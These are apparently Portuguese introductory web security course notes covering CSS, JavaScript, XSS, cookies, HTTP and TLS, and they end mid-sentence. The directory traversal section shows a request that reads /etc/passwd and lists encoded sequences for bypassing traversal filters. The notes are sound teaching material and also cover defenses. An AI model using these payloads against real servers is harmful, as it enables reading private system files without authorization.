Hello, my World!

Isso vai aparecer no site.

``` * CLASSE Selecionamos elementos a partir de sua classe ```css div.suaclasse { ... } .suaclase { ... } ``` Exemplo 1: elementos com tag e classe "suaclasse". Exemplo 2: elementos de qualquer tag, com classe "suaclasse". OBS .: podemos determinam um objeto no HTML com várias classes, de modo a modularizar a escolha de estilo: ```markup ... ... ``` Neste caso, temos uma classe comum (btn), na qual a fonte de tamanho 16 pixels será padrão. Depois temos 2 especificações de modo a individualizar as outras 2 "sub-classes" ```css .btn { font-size: 16px; } .btn-danger { background: red; } .btn-success { background: green; } ``` * ID Selecionamos, especificamente, um elemento a partir do seu ID. ```css div#seuID { ... } #seuID { ... } ``` Exemplo 1: elemento com tag e id "seuID". Exemplo 2: elemento de qualquer tag, com id "seuID". ### REFERENCIANDO O CSS NO HTML Dentro do HTML ```markup ``` ## Referência: * [Web Development](https://www.notion.so/WEB-DEVELOPMENT-5ea22e21aa9f47758e9cbecb2711a92c) # Directory Traversal ## O que é "Directory traversal"? Directory traversal é uma vulnerabilidade em que o atacante consegue acesso a arquivos arbitrários do server que está rodando um programa. Então, nesta vulnerabilidade é possível acessar documentos do diretório raíz. ![https://upload.wikimedia.org/wikipedia/commons/d/df/Directory\_traversal.png](https://upload.wikimedia.org/wikipedia/commons/d/df/Directory_traversal.png) ## Lendo arquivos com directory traversal: Para carregar uma imagem em uma página web, pode ser usado HTML: ```markup

``` É possível ver que há um parâmetro *filename*, que é o nome do documento da imagem que será mostrada na página. Para acessar a imagem, o programa percorre um caminho até a imagem, um exemplo seria: ```jsx */var/www/images/ganesh.png* ``` Caso não haja medidas de defesa contra esta vulnerabilidade, alguém mal intencionado pode requisitar outros arquivos da seguinte forma: ```jsx [https://icmc.com.br/loadImage?filename=../../../etc/passwd](https://insecure-website.com/loadImage?filename=../../../etc/passwd) ``` Com esta requisição, ao invés de seguir o caminho anterior, a máquina seguirá o seguinte caminho: ```jsx /var/www/images/../../../etc/passwd ``` Assim como no terminal, (`../`) indica que a máquina acessará o diretório pai ao atual, e por ter três (`../`), o computador acessará a root, e o que realmente é lido é: ```jsx /etc/passwd ``` Esta localização acima, em sistemas operacionais baseados em Unix, contém informações privadas do usuário, por isso o exemplo contém estes nomes. No Windows, pode ser usado tanto (`../`) quanto (`..\`) e ao invés de `/etc/passwd` seria `\windows\win.ini` ## Obstáculos contra essa vulnerabilidade * **Bloqueio de directory traversal sequences**: * Para evitar a vulnerabilidade, a página pode bloquear sequencias de (`../`), então duas coisas podem ser feitas: * Ao invés de usar (`../`), usar (`....//`), pois é equivalente ao anterior e dependendo do filtro, conseguiria passar por ele (Ex: \[ ); * testar se é possível usar o caminho absoluto, desde a root (Ex: \[); * **Bloqueio de chars ou URL-encoding:** Alguns caracteres podem ser limitados por filtros, para impedir a exploração desta vulnerabilidade, porém é possível burlar estes filtros com versões codificadas dos caracteres proibidos: **Encoding and double encoding:** * `%2e%2e%2f` representa `../`; * `%2e%2e/` representa `../`; * `..%2f` representa `../`; * `%2e%2e%5c` representa `..\`; * `%2e%2e\` representa `..\`; * `..%5c` representa `..\`; * `%252e%252e%255c` representa `..\`; * `..%255c` representa `..\`; Entre outros exemplos; **URL encoding:** * `..%c0%af` representa `../`; * `..%c1%9c` represents `..\`; **Referências:** [What is directory traversal, and how to prevent it? | Web Security Academy](https://portswigger.net/web-security/file-path-traversal) [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) # Introdução ao Javascript ## Visão Geral Javascript (ou ECMAScript) é uma linguagem de programção muito utilizada no desenvolvimento Web. Com ela, é possível programar o comportamento das páginas HTML - alterar conteúdo e atributos HTML, CSS e mais. O JavaScript nasceu como uma linguagem voltada para processamento no navegador. Entretanto, com a chegada do Node.js, que permite a execução de Javascript fora do navegador, *back-ends* de websites e aplicações feitas majoritariamente em Javascript (como o Discord) também passaram a utilizar amplamente a linguagem. Praticamente todas as páginas na internet usam Javascript para fazer operações *client-side*, como verificação de campos, envio de formulários, gerenciamento de cookies, solicitações de informações para o servidor etc. ```markup

JavaScript pode mudar conteúdo HTML

``` ### Engines Uma Engine Javascript ou Interpretador Javascript é um programa especializado em ler e processar código Javascript, todos os mais populares navegadores modernos utilizam interpretadores mas a engine especifica depende de qual navegador está sendo utilizadas, sendo possivel que diferentes interpretadores entendam código de formas diferentes. Alguns exemplos de engines e navegadores diferentes são: | Engine | Navegador | | ---------------------------------------------------------------------- | --------------------- | | \[V8]\()) | Google Chrome e Opera | | [SpiderMonkey](https://en.wikipedia.org/wiki/SpiderMonkey) | FireFox | | \[Chakra]\()) | Internet Explorer | | [WebKit](https://en.wikipedia.org/wiki/WebKit) | Safari | Por consequência é importante sempre verificar quais features são tem suporte em quais engines, para isso você pode verificar em tabelas de compatibilidade: * * É importante lembrar que mesmo navegadores sendo o principal uso de Engines qualquer software que precisa processar Javascript utiliza uma engine de forma ou outra. ## Estrutura e sintaxe do JS ### Script interno e externo O código Javascript pode estar dentro ou fora de um documento HTML. Em ambos os casos, o Javascript fica dentro de uma tag ``. * Externo: ```markup

Olá

``` * Interno (no HEAD): ```markup

Página de teste

Um parágrafo

``` ### Comentários Você pode adicionar comentários no seu código para mante-lo organizado sem afetar a execução, comentários são linhas de codigo que são ignoradas pelo interpretador. * Utilizando duas barras você comenta até o fim da linha ```javascript // Essa linha está comentada let variavel = "valor"; // Metade da linha está comentada ``` * Utilizando uma barra e um asterisco você pode comentar multiplas linhas de código ```javascript /* Esse é um comentário multilinha Tudo aqui está comentado */ ``` ### Variáveis e constantes **Variáveis** são usadas para armazenar dados que podem ser modificados a qualquer momento. Em JS, as variáveis são declaradas com `var` ou `let`e elas podem ser praticamente qualquer coisa: números, palavras, funções etc. Ao usar `var`, se a variável for declarada fora de uma função, ela poderá ser acessada de qualquer ponto do código (dentro e fora de funções), ou seja, ela é de *scope* global. Caso a variável seja declarada dentro de uma função, ela só poderá ser acessada de dentro dessa função. Esse tipo de variável pode ser redeclarado - além de atualizado - no meio do código. ```javascript var msg_introdutoria = 0.5; // declara a variável e atribui um real (float) a ela var msg_introdutoria = "Olá mundo!"; // redeclara a variável e atribui uma string a ela var contador = 0; // declara uma variável e atribui um inteiro (int) a ela console.log(msg_introdutoria); // exibirá "Olá mundo!" if (contador <= 0) { // bloco de código do IF var msg_introdutoria = "Oi mundo!"; // atualiza o valor da variável } console.log(msg_introdutoria) // exibirá "Oi mundo!" ``` Já ao usar `let`, a variável sempre será *block scoped*, ou seja, ela está limitada ao bloco de código em que foi declarada (e aos blocos mais internos a ela). Um bloco é definido por chaves (`fora do bloco { dentro do bloco } fora do bloco`). Além disso, variáveis declaradas com *let* não podem ser redeclaradas (mas podem ser atualizadas). ```javascript let msg_introdutoria = "Olá mundo!"; let contador = 4; if (contador > 3) { let msg_introdutoria_2 = "Oi mundo!"; console.log(msg_introdutoria); // "Olá mundo!" console.log(msg_introdutoria_2); // "Oi mundo!" } console.log(msg_introdutoria); // "Olá mundo!" console.log(msg_introdutoria_2); // msg_introdutoria_2 não está definida ``` **Constantes** também são usadas para armazenar dados, mas elas não podem ser modificadas durante a execução do programa. Uma vez declaradas com certo valor, elas não podem ser alteradas. Além disso, constantes são *block scoped* e não podem ser redeclaradas (nem alteradas - como foi dito logo acima). ```javascript const saudacao = "Olá!"; saudacao = "Oi!"; // Erro: (re)atribuição à constante // OBS.: se a constante for um objeto é possível fazer certas alterações: const saudacao2 = { // objeto com mais de um campo msg : "Olá!", countador : 3 }; saudacao2.msg = "Oi!"; // Isso é permitido! O campo msg é atualizado! const saudacao2 = { teste : "Aaaa", nome : "Marcelo Batata" }; // isso não é permitido! ERRO!! ``` ### Operadores e comparadores * **Operadores aritméticos**: são os operadores que realizam operações aritméticas em números (e variáveis com valores numéricos). Entretanto, em certos casos, é possível usar esses operadores com outros tipos de variáveis, como no caso de "soma" de strings (`"Nome " + "Sobrenome" -> "Nome Sobrenome"`). | Operador aritmético | Operação | Exemplo | | :-----------------: | :-------------: | :----------------------------: | | + | Adição | `let x = 1 + 2; // x = 3` | | - | Subtração | `let x = 5 - 7; // x = -2` | | \* | Multiplicação | `let x = 3 * 5.2; // x = 15.6` | | / | Divisão | `let x = 6 / 2; // x = 3` | | \*\* | Pontenciação | `let x = 2**3; // x = 8` | | % | Módulo (resto) | `let x = 10 % 3; // x = 1` | | ++ | Incremento (+1) | `let x = 1; x++; // x = 2` | | -- | Decremento (-1) | `let x = 1/ x--; // x = 0` | > **Operações matematicas são "seguras" no JavaScript** isso significa que você pode fazer qualquer conta e não vai gerar um erro fatal que mata o programa, no máximo retornando *NaN* (Not-a-Number), um valor númerico que não existe. * **Comparadores**: | Comparador | Compração | Exemplo | | :--------: | :----------------------------------------: | :-----------------: | | == | Igual a (em valor) | `1 == 1.0 (true)` | | === | Igual a (em valor e tipo) | `1 === 1.0 (false)` | | != | Diferente de ("não igual") | `1 != 1.0 (false)` | | !=== | Diferente de ("não igual" em valor e tipo) | `1 !== 1.0 (true)` | | > | Maior que | `10 > 2 (true)` | | < | Menor que | `1 < 2 (true)` | | >= | Maior ou igual que | `5 >= 5 (true)` | | <= | Menor ou igual que | `4 <= 3 (false)` | * Ainda há os **comparadores lógicos**. São eles: * `&&` (and): `(2 < 10 && 0 > 1)` --> verdade **E** mentira é **mentira** * `||` (or): `(5 == 5 || 3 == 5)` --> verdade **OU** mentira é **verdade** * `!` (not): `!(1 == 1)` --> **NÃO** verdade é **mentira** * E, por último, também é importante conhecer o **comparador ternário**, que atua como um comparador IF: ```javascript // Comparador ternário: // variablename = (condition) ? value1 : value2; var voteable = (age < 18) ? "Too young" : "Old enough"; // Isso é igual a: if (age < 18) { voteable = "Too young"; } else { voteable = "Old Enough"; } ``` ### Tipos de dados De forma simplificada, podemos resumir os tipos de dados em primitivos e complexos. Os **tipos primitivos** são: * *string* (basicamente, caractéres e palavras - sempre entre aspas). * *boolean* (verdadeiro ou falso). * *number* (número inteiro, real). * *undefined* (variáveis sem valor definido). Já os **tipos complexos** são: * *object* (listas, JSON, XML, vetores, dados inexistentes etc.). * *function* (funções). ```javascript typeof "" // String typeof "Marcelo Batata" // String typeof 3 // Number typeof 3.14 // Number typeof (3 + 4) // Number var x; // Declarada, mas sem valor atribuído typeof x // Undefined typeof true // Boolean typeof false // Boolean typeof { name:'John', age:34 } // Object typeof [1, 2, 3, 4] // Object typeof null // Object typeof function myFunc(){ console.log("Testing..."); } // Function ``` Obs.: Ainda há **null**, que é similar ao *undefined*, mas seu tipo é objeto, Por mais contraditório que isso seja, esse objeto *null* represta um dado que não existe. ```javascript typeof undefined // retorna undefined typeof null // retorna object null === undefined // retorna false null == undefined // retorna true (loose comparison) ``` ### Funções Funções são blocos de códigos que executam uma tarefa. Algo deve invocar a função para ela ser executada (ela precisa de algum "gatilho", nem que seja outra parte do código "chamando" ela - ou até ela própria se invocando). Ou seja, a execução do código dentro da função ocorre quando: * Um evento ocorre (ex.: usuário pressiona um botão); * A função é invocada por outro trecho de código Javascript; * A própria função invoca-se e é executada automaticamente. #### Sintaxe ```javascript function nome_funcao(parametro1, parametro2, parametro3) { // código a ser executado quando a função for chamada console.log("A função foi executada!"); return {"mensagem" : "OK"}; } // --- Outra alternativa, em certos casos, é a "Arrow Function": --- // O trecho abaixo pode ser escrito de forma mais concisa var multiplicacao = function(x, y) { return x * y; }; // Arrow function: (param1, param2, paramN) => { expressão / bloco da função } const multiplicacao2 = (x, y) => { return x * y }; ``` ### Exemplo comentado Para ajudar no entendimento da sintaxe da linguagem é bom analisar um trecho de código comentado. ```javascript // o bloco de código da função 'requisitarDadosPessoais()' começa aqui e quando ela for chamada, tudo que está aqui dentro será executado (linha por linha, de cima para baixo) // userID é um parâmetro que deve ser passado ao chamar essa função. userId funciona como uma varíavel async function requisitarDadosPessoais(userID) { // a variável 'dados' recebe o retorno da função 'httprequest', ou seja, o que essa função trouxer como resposta sera guardado em 'dados' var dados = await httprequest(`http://site-exemplo.com/usuarios/${userID}`); // a função é executada e em seguida sua resposta é armazenada em 'dados' if (!dados) { // se 'dados' estiver vazio (for nulo), a condição é verdade e o código dentro desse bloco (delimitado por chaves) é executado alert(`O usuário ${userID} não existe!`); // emite um alerta na tela avisando que o usuário com o nome armazenado em 'userID' não existe return null; // a função 'requisitarDadosPessoais()' termina aqui e retorna o valor 'null' (nulo) } // fim do bloco de código referente ao 'if' if (dados.sucesso == true){ // 'dados' é um objeto com vários campos (atua como um JSON) e ele tem um parâmetro 'sucesso'. Se 'sucesso' for igual 'true', a condição é satisfeita e o código dentro desse bloco é executado alert(`Bem vindo, ${dados.nome}, faz ${dados.tempoDesdeUltimoLogin} horas que você conectou pela última vez`); // emite uma mensagem de boas-vindas na tela, fazendo uso de outros parâmetros dentro de 'dados' ('nome' e 'tempoDesdeUltimoLogin') redirecionar_usuario('http://site-exemplo.com/profile/${userID}', dados.cookies); // Executado uma função chamada 'redirecionar_usuario()' que está em outra parte do arquivo Javascript } // fim do bloco de código referente ao 'if' else { // caso a condição nos parênteses do 'if' não seja satisfeita, esse bloco de código é executado alert(`${dados.nome}, a senha digitada está incorreta`); // emite um alerta na tela, avisando que a senha referente ao usuário digitado está incorreta } // fim do bloco de código referente ao 'else' return dados; // caso a função não tenha terminado antes, ela termina aqui, retornando o conteúdo de 'dados' (variável) para onde foi feita a chamada à essa função } ``` ## Leitura adicional * Guias detalhados do JavaScript básico ao avançado * [Manual - Javascript](https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference) * [Especificação do JavaScript](https://www.ecma-international.org/publications-and-standards/standards/ecma-262/) # Cross Site Scripting (XSS) XSS é a sigla para Cross-Site Scripting (porque CSS já estava sendo usada). Cross-Site Scripting é uma técnica que utiliza de certas vulnerabilidades para inserir código malicioso em uma página legítima na web. Geralmente, o código é escrito em Javascript, por ser a linguagem que o navegador usa durante a renderização de páginas web. Se quiser saber mais sobre Javascript, [clique aqui](https://github.com/GANESH-ICMC/Introducao-a-Seguranca-Digital/tree/bfbf77e3044aa23b5202f22ffec54f406d8f2db0/web/semana-1/05_Introdução_Javascript.md). As injeções de código por XSS, geralmente, têm o mesmo ponto de partida: falta de sanitização do *input* do usuário. Por exemplo, num formulário de cadastro, existem diversos campos nos quais o usuário pode digitar, como nome ou endereço. Mais tarde, quando outras pessoas visualizarem o nome que você cadastrou, o servidor vai entregar ao navegador delas o texto que você digitou. Ou seja, o navegador está executando uma instrução que é parte feita pelo desenvolvedor da página e parte feita por você. Para deixar o exemplo um pouco mais claro, suponha esse exemplo fictício de uma página que quando vai exibir o nome do usuário usa essa função: ```javascript function render_username(username) { //Code ... document.write('

' + username + '

') } ``` Essa função pega o nome, coloca a tag de título em volta e coloca na página. Se o parâmetro *username* estiver corretamente sanitizado, não há maiores problemas, mas se este não for o caso, temos uma vulnerabilidade de XSS. Nesse exemplo, bastaria eu escrever `` como nome de usuário no cadastro e todos que lerem meu nome receberão um pop-up com o texto "oi". Se trocarmos na função o valor do username, fica mais claro: ```javascript function render_username(username) { //Code ... document.write('

' + '' + '

') } ``` Exemplo de site que sanitiza a entrada do usuário ![Google](https://i.imgur.com/EUT6AGI.png) ## Diferentes Classificações de XSS O exemplo que foi dado acima é chamado de DOM Based XSS, isso porque é o Javascript que modifica a página HTML por meio do [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction). Além do ataque ter a classificação de ser ou não DOM Based, ainda existe outra classificação quanto ao ataque XSS: onde ele está armazenado. ### Reflected XSS Esse é o XSS que é executado apenas do lado do cliente por exemplo, uma página de busca que exibe o conteúdo buscado (ver imagem abaixo). Nessa página, o texto "Conteúdo buscado" não é armazenado no servidor, mas é exibido no cliente e fica salvo na url do site. Por isso, se o site tiver vulnerabilidade XSS no campo de busca e alguém te mandar o link `http://site.vulneravel.tk/busca?q=` Basta você clicar nele e você já está executando o código potencialmente malicioso. ![Exemplo reflected](https://i.imgur.com/isfD885.png) Justamente por não ser armazenado no servidor, o ataque XSS Refletido é mais difícil de rastrear, porém é possível que a vítima tenha uma ideia do que está acontecendo ao ler a URL. Nesse tipo de ataque, os agentes maliciosos utilizam de engenharia social para que pessoas acessem o link afetado, como envio de e-mails para várias pessoas sobre promoções e sorteios falsos, que clicando no link, a pessoa vai ganhar algum prêmio. No exemplo da imagem, o "Conteúdo buscado" pode ser colocado na página de duas formas: pelo servidor, antes de enviar a resposta da requisição, ou pelo cliente, após receber a página. Se a página já vem com o conteúdo escrito, o ataque XSS não é DOM Based, mas caso ele seja modificado posteriormente por meio de Javascript ele é. ### Stored XSS Esse tipo de ataque XSS, ao contrário do Refletido, é armazenado no servidor. Um exemplo clássico seria um post de um usuário em uma rede social. Se o texto do post não for sanitizado quando salvo no banco de dados, na hora de exibí-lo, código malicioso poderá ser executado. Dessa vez, é impossível a vítima evitar o ataque, já que ela está apenas navegando no site, e não é possível diferenciar o código malicioso do código genuíno da página. Portanto, o Stored XSS é mais nocivo (em se tratando de medidas de proteção que o usuário pode tomar), mas é "facilmente" identificado pelos administradores, uma vez que o código é armazenado no servidor. ## Prevenção contra o XSS Conforme dito, o XSS se apoia, majoritariamente, na falta de filtros aplicados no conteúdo digitado pelo usuário, portanto a forma mais simples e eficiente de acabar com vulnerabilidades XSS nos campos de uma página é aplicar [filtros](http://htmlpurifier.org/comparison#striptags) e sanitizações, de modo a remover caractéres especiais que possam vir a causar problemas. ### CSP Outra forma de garantir que a página não sofrerá de vulnerabilidades XSS, mesmo que os campos não possuam filtros é criar um sistema de "autenticação de scripts". O [CSP](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html) faz exatamente isso: ele restringe quais elementos da página HTML terão permissão de executar scripts. Dessa forma, impede a execução de código que não pertença genuinamente à página. ## Fontes * * * * [Slides](https://docs.google.com/presentation/d/13nax37vFi-T5ZyQp0VmpsP1NDS1LUkGkYBeg5cP4TUw/edit?usp=sharing) # Cookies e sessões ## Pra que servem cookies e sessões: O protocolo HTTP é stateless, ou seja, ele não mantém um estado/conexão. Toda a interação que o seu cliente fizer com um servidor web acarretará em uma nova requisição e resposta. As requisições são independentes e possuem um tempo de vida (conexão, envio de mensagem, resposta, encerramento da conexão). O servidor web não é capaz de identificar se duas requisições vieram de um mesmo navegador, e o mesmo não faz nenhum gerenciamento em memória para que mensagens sejam compartilhadas entre requisições. É para suprir esta necessidade que entram os cookies e sessões. ## Cookies: Tecnicamente falando, um cookie é uma pequena quantidade de informação persistida temporariamente pelo navegador. Os navegadores normalmente limitam o tamanho dos cookies em até 4KB, e apagam cookies com a data de “validade vencida”. Através de cookies o servidor web é capaz de trocar informações de estado com o navegador do usuário. Assim podemos por exemplo fazer compras online adicionando produtos a um carrinho, se não houvessem os cookies as informações do carrinho seriam perdidas ao mudarmos de página. Exemplo de cookie feito utilizando-se do PHP: ```php ``` Aqui ao entrarmos em uma página o código verifica se o cookie existe, caso não exista o cookie é criado. Vale ressaltar que nesse nosso exemplo o cookie tem duração de 3600 segundos. ## Sessions: As sessões têm um princípio similar aos cookies, só que o armazenamento do estado é feito pelo servidor web, e não pelo navegador. Por exemplo, quando construímos uma aplicação que necessita de autenticação, no momento em que o usuário efetuar o login, podemos até permitir que algumas informações sejam armazenadas em um cookie, mas dados mais “sensíveis”, como usuário e e-mail, são mais interessantes de serem guardadas em sessões. Isto, pois não é seguro que esse tipo de informação fique “viajando” pela web. Mas se o HTTP é stateless, e o servidor web não tem como identificar que a requisição anterior veio do meu browser, como é que ele sabe que as informações que eu guardei em sessão são de fato minhas? Simples… através de cookies! Quando iniciamos uma sessão, é enviado um cookie para o navegador, com um valor único que corresponde a sessão aberta no servidor web. Vamos ilustrar através do exemplo abaixo: ```php ``` O código acima inicia uma sessão através do método session\_start. Na primeira visita, será criado um índice usuario com o valor João. Quando visitarmos o sessions.php novamente, o navegador informará ao servidor que ele possui um cookie chamado PHPSESSID. A partir daí o PHP pega o valor deste cookie, recupera a sessão da memória (ou de um banco de dados, ou arquivos em disco) e atribui este valor ao array global $\_SESSION. ## Diferenças entre cookie e sessão: | Cookie | Sessão | | :----------------------------------------------------------------------------: | :------------------------------------------------------------------------------------------------------------------------------------------: | | Cookies são arquivos do lado do usuário que contem informações sobre o mesmo | Sessões são arquivos do lado do servidor que contém informações do usuário | | Cookies duram o tempo cujos quais foram setados | Uma sessão é terminada quando o usuário fecha o browser | | Você não precisa começar um cookie como ele é armazenado na máquina do usuário | No PHP é necessário inicializar a sessão, usando 'session\_start();' | | O tamanho máximo de um cookie é de 4KB | Em uma sessão você pode armazenar quanta informação quiser, cujo limite padrão é o máximo de memória que um script pode consumir que é 128MB | | Um cookie não depende de uma sessão | A sessão depende de cookies | | Não existe uma função para dessetar um cookie | 'session\_destroy();' é usado para destruir todo as informações guardadas ou para dessetar algumas | ## Referências: * * * * # Protocolo HTTP O protocolo HTTP é a base da troca de dados na Web, sendo responsável por transmitir documentos de hipertexto - como o HTML -, imagens, vídeos e resultados de formulários entre cliente e servidor. O HTTP é um protocolo *stateless* (comunicação feita por meio de mensagens individuais) cliente-servidor que segue o seguinte modelo de comunicação: um cliente (geralmente o *browser*) abre uma conexão por meio de uma requisição feita ao servidor, que recebe a requisição e envia uma resposta ao cliente. Entretanto, entre o navegador que faz a requisição e o servidor que envia a resposta existem vários dispositivos tratando e retransmitindo a mensagem (roteadores, modems, computadores e outras máquinas). ## Etapas de comunicação - Fluxo HTTP Conforme dito anteriormente, a comunicação entre cliente e servidor ocorre por meio de mensagens individuais. Porém, quando um cliente quer comunicar-se com um servidor ele realiza os seguintes passos: 1. **Abrir uma conexão TCP**: essa conexão é utilizada para enviar uma ou várias requisições e receber respostas. 1. **Enviar uma mensagem HTTP**: um detalhe **importantíssimo** do protocolo HTTP é que essa mensagem **não é criptografada**, ou seja, ela pode ser lida por qualquer um que esteja monitorando o fluxo de pacotes da rede. A mensagem segue esse padrão: ![](https://i.imgur.com/OxDXcP7.png) 1. **Ler a mensagem de resposta do servidor**: após enviar uma requisição, se não houver problemas, o servidor enviará uma resposta. Essa resposta também **não é criptografada** e segue esse padrão: ![](https://mdn.mozillademos.org/files/13691/HTTP_Response.png) 1. **Fechar ou reutilizar a conexão TCP que foi aberta**. ## Requisições Conforme mostrado nas duas últimas imagens, as requisições e as respostas são compostas de certos elementos. Os **elementos das requisições** são: * Método HTTP: operação que o cliente deseja fazer; * O caminho do recurso a ser buscado: em outras palavras, a parte da URL que vem após o ".com", ".br", ".org" etc. (ou seja, a URL sem os *elementos de contexto*\*), indicando a localização do recurso no servidor; * A versão do protocolo HTTP; * *Headers* opcionais: são cabeçalhos que contém informações adicionais para os servidores, como cookies, data, linguagem aceita, tamanho da requisição e outros. Headers padrões podem ser encontrados [aqui](https://flaviocopes.com/http-request-headers/); * Corpo de dados: contém recursos requisitados (ou enviados). Normalmente, eles vêm em respostas, mas também se fazem presentes, geralmente, em requisições do tipo `POST` por exemplo. E os **elementos das respostas** são: * Versão do protocolo HTTP utilizada pelo servidor; * Código de status: indica se a requisição foi bem sucedidade ou não (e o porquê); * Mensagem de status: breve descrição do código de status; * *Headers* (cabeçalhos) HTTP: iguais aos da requisição; * Corpo com dados do recurso requisitado (se algo foi requisitado). \* Elementos de contexto são coisas como: protocolo (`http://`), domínios e subdmínios (`www.google.com`) e a porta da conexão TCP (após a URL pode vir um`:80` por exemplo) ### Tipos de requisições (métodos HTTP) As requisições HTTP podem ser de vários tipos, indicando a ação que deve ser realizada com determinado conteúdo. Os principais tipos são **`GET`** e **`POST`**, mas também há: **`HEAD`**, **`PUT`**, **`DELETE`**, **`CONNECT`**, **`OPTIONS`**, **`TRACE`**, **`PATCH`** e outros. * **`GET`** é utilizado para requisitar certo conteúdo (normalmente a apresentação desse conteúdo no navegador). Esse método serve para reaver/solicitar dados. * **`POST`** é utilizado para enviar algum conteúdo para o servidor (como os dados de um formulário preenchido ou uma tentativa de login). Obs.: Esses métodos podem ser usados em outros contextos, pois o servidor decide como interpretar as requisições. O servidor pode esperar um `POST` que simplesmente solicite conteúdo, sem enviar nada para o próprio servidor. ### Respostas HTTP (status codes) Os códigos de status presentes em respostas HTTP (*HTTP responses*) indicam se a requisição foi realizada com sucesso ou não. Esses códigos são divididos em: * Informational responses (100–199), * Successful responses (200–299), * Redirects (300–399), * Client errors (400–499), * Server errors (500–599). ### Os códigos que mais aparecem são: * **`200`** **`OK`**: a requisição foi um sucesso, ou seja, o conteúdo da requisição foi obtido ou transmitido sem erros. * **`301`** **`Moved Permanently`**: código de redirecionamento indicando que a recurso solicitado foi movido permanentemente para outro local - indicado no *header* `Location`. O *browser* é redirecionado para lá automaticamente. O código 308 funciona da mesma forma. * **`302`** **`Found`**: código de redirecionamento indicando que o conteúdo procurado está temporáriamente em outro local - também indicado no *header* de resposta `Location`. O *browser* é redirecionado para lá automaticamente. O código 307 funciona da mesma forma. * **`400`** **`Bad Request`**: erro de sintaxe na requisição, ou seja, o servidor não conseguiu processar bem a requisição. * **`401`** **`Unauthorized`**: requisição não autorizada. O cliente precisa se autenticar (ex.: fazer login) para conseguir o acesso ao que foi requisitado. * **`403`** **`Forbidden`**: o cliente não pode acessar o conteúdo solicitado, ou seja, ele não está autorizado a ver certa informação (mesmo que autenticado, já que o servidor sabe a identidade do cliente). * **`404`** **`Not Found`**: o servidor não encontrou o que foi requisitado - e o conteúdo buscado provavelmente não existe. Em *browsers*, isso significado que a URL passada não foi reconhecida. * **`500`** **`Internal Server Error`**: erro interno do servidor, ou seja, o servidor está com problemas para lidar com certa situação. * **`502`** **`Bad Gateweay`**: erro que indicado que o servidor, atuando como gateway (buscando a resposta para retransmitir ao cliente), recebeu uma resposta inválida. * **`503`** **`Service Unavailable`**: o servidor não está pronto para processar a requisição. Normalmente, isso indica que o servidor está desligado ou sobrecarregado. # Protocolo HTTPS O HTTPS é uma implementação do HTTP com uma camada adicional de segurança: o **protocolo SSL/TLS**. Isso permite que os dados sejam transmitidos por meio de uma conexão **criptografada** e que verifica a autenticidade do servidor e do cliente por meio de **certificados digitais**. A porta TCP normalmente utilizada para o HTTPS é a 443, enquanto para o HTTP é a porta 80. O HTTPS serve para criar um canal seguro sobre uma rede insegura - dado que o algoritmo de criptografia utilizado é bom e o certificado do servidor é confiável -, dificultando que pessoas "escutando" na rede (por meio de ataques como *man-in-the-midde* ou algum tipo de *spoofing*) possam capturar e enteder pacotes que não são deles ou possam fingir ser quem não são. A "confiança" fornecida pelo HTTPS é baseada em **autoridades de certificação** que vêm pré-instaladas no navegador. ## Protocolo TLS/SSL O TLS (Transport Layer Security) é o sucesso do SSL (Secure Sockets Layer). Ambos são protocolos de segurança usado em comunicações sobre redes de computadores. Em se tratando do TLS, o protocolo visa fornecer privacidade e integridade de dados entre duas aplicações que se comuniquem pela internet. Isso ocorre meio da **autenticação do servidor e/ou do cliente** e da **cifragem dos dados** transmitidos. *Lembrando que isso não torna a conexão necessariamente segura, mas sim menos insegura...* ### Cifragem dos dados O protocolo TLS usa [criptografia de chave simétrica](https://pt.wikipedia.org/wiki/Algoritmo_de_chave_sim%C3%A9trica) para criptografar os dados transmitidos. As chaves são únicas para cada conexão e trocadas por meio de um Handshake TLS no começo da comunicação (o handshake usa criptografia assimétrica). #### Handshake TLS Ao estabelecer uma comunicação cliente-servidor, a primeira operação que ocorre é o Handshake para determinar como o resto da comunicação será feita. Esse handshake determina qual cifra de encriptação será usada, verifica a identidade/confiabilidade do servidor e, por fim, estabelece uma canal de comunicação criptografado. O processo de handshake segue o fluxo abaixo: 1. Cliente manda uma mensagem para o servidor pedindo para estabelecer um canal de comunicação criptografado (passa nos *headers* a lista de cifras a versão do protocolo TLS que ele aceita usar); 2. Servidor responde com a cifra e a versão do TLS que será usada. Ele também envia um certificado digital (que autentica sua confiabilidade e permite a comunicação por meio do HTTPS) junto de sua chave pública (criptografia assimétrica); 3. Cliente verifica o certificado do servidor e extrai sua chave pública. Em seguida, ele usa essa chave para encriptar uma "pre-master key" e a envia para o servidor; 4. Servidor usa sua chave privada para decriptar a "pre-master key"; 5. Cliente e servidor usam a "pre-master key" para gerar uma chave secreta compartilhada; 6. Cliente envia uma mensagem criptografada (com a chave secreta compartilhada) e avisa que a partir daquele momento, toda a comunicação será feita dessa forma; 7. Servidor decripta a mensagem e, se tudo ocorrer conforme o esperado, ele envia uma última mensagem criptografada (com a chave secreta compartilhada) avisando que ele foi capaz de descriptografar a mensagem do cliente e que, a partir desse momento, todas as mensagem serão enviadas dessa forma (criptografas com essa chave); 8. Pronto! O resto da comunicação é feita usando a chave secreta compartilhada até o fim da sessão. * A conexão é confiável porque cada mensagem transmitida inclui uma verificação de integridade de mensagem usando um código de autenticação de mensagem para evitar perda não detectada ou alteração dos dados durante a transmissão. ## Certificados digitais e autoridades cerificadoras Autoridades certificadoras são companhias que analisam e validam a identidade de sites, emails, pessoas e outras companhias e vinculam-nas a chaves de criptografia por meio de certificados digitais. Os certificados digitais buscam fornecer: * Autenticidade, ao oferecer uma credencial para validar a identidade de certa entidade; * Encriptação de informação, possibilitando comunicações mais seguras em redes inseguras (como a Internet); * Integridade, assinando pacotes de informação com o certificado a fim de tentar impedir pessoas mal-intecionadas de alterá-los; Para um certificado ser gerado, o aplicante: 1. Gera um par de chaves de criptografia, uma pública e uma privada; 2. Gera uma requisição de assinatura de certificado (CSR), que contém a recém gerada chave pública e dados como domínio, organização, email, endereço físico etc., e a envia para a autoridade certificadora; 3. A autoridade certificadora verifica as informações da entidade e, se tudo estiver correto, assina a CSR com uma chave privada e devolve-a; 4. Pronto! A entidade que aplicou para um certificado, enfim, tem um :) Existem vários tipos de certificados digitais e os mais simples - e piores - são facilmente adquiridos (por [aqui](https://letsencrypt.org/) por exemplo). O que reforça a ideia de que um site utilizar HTTPS, ou seja, ser certificado, 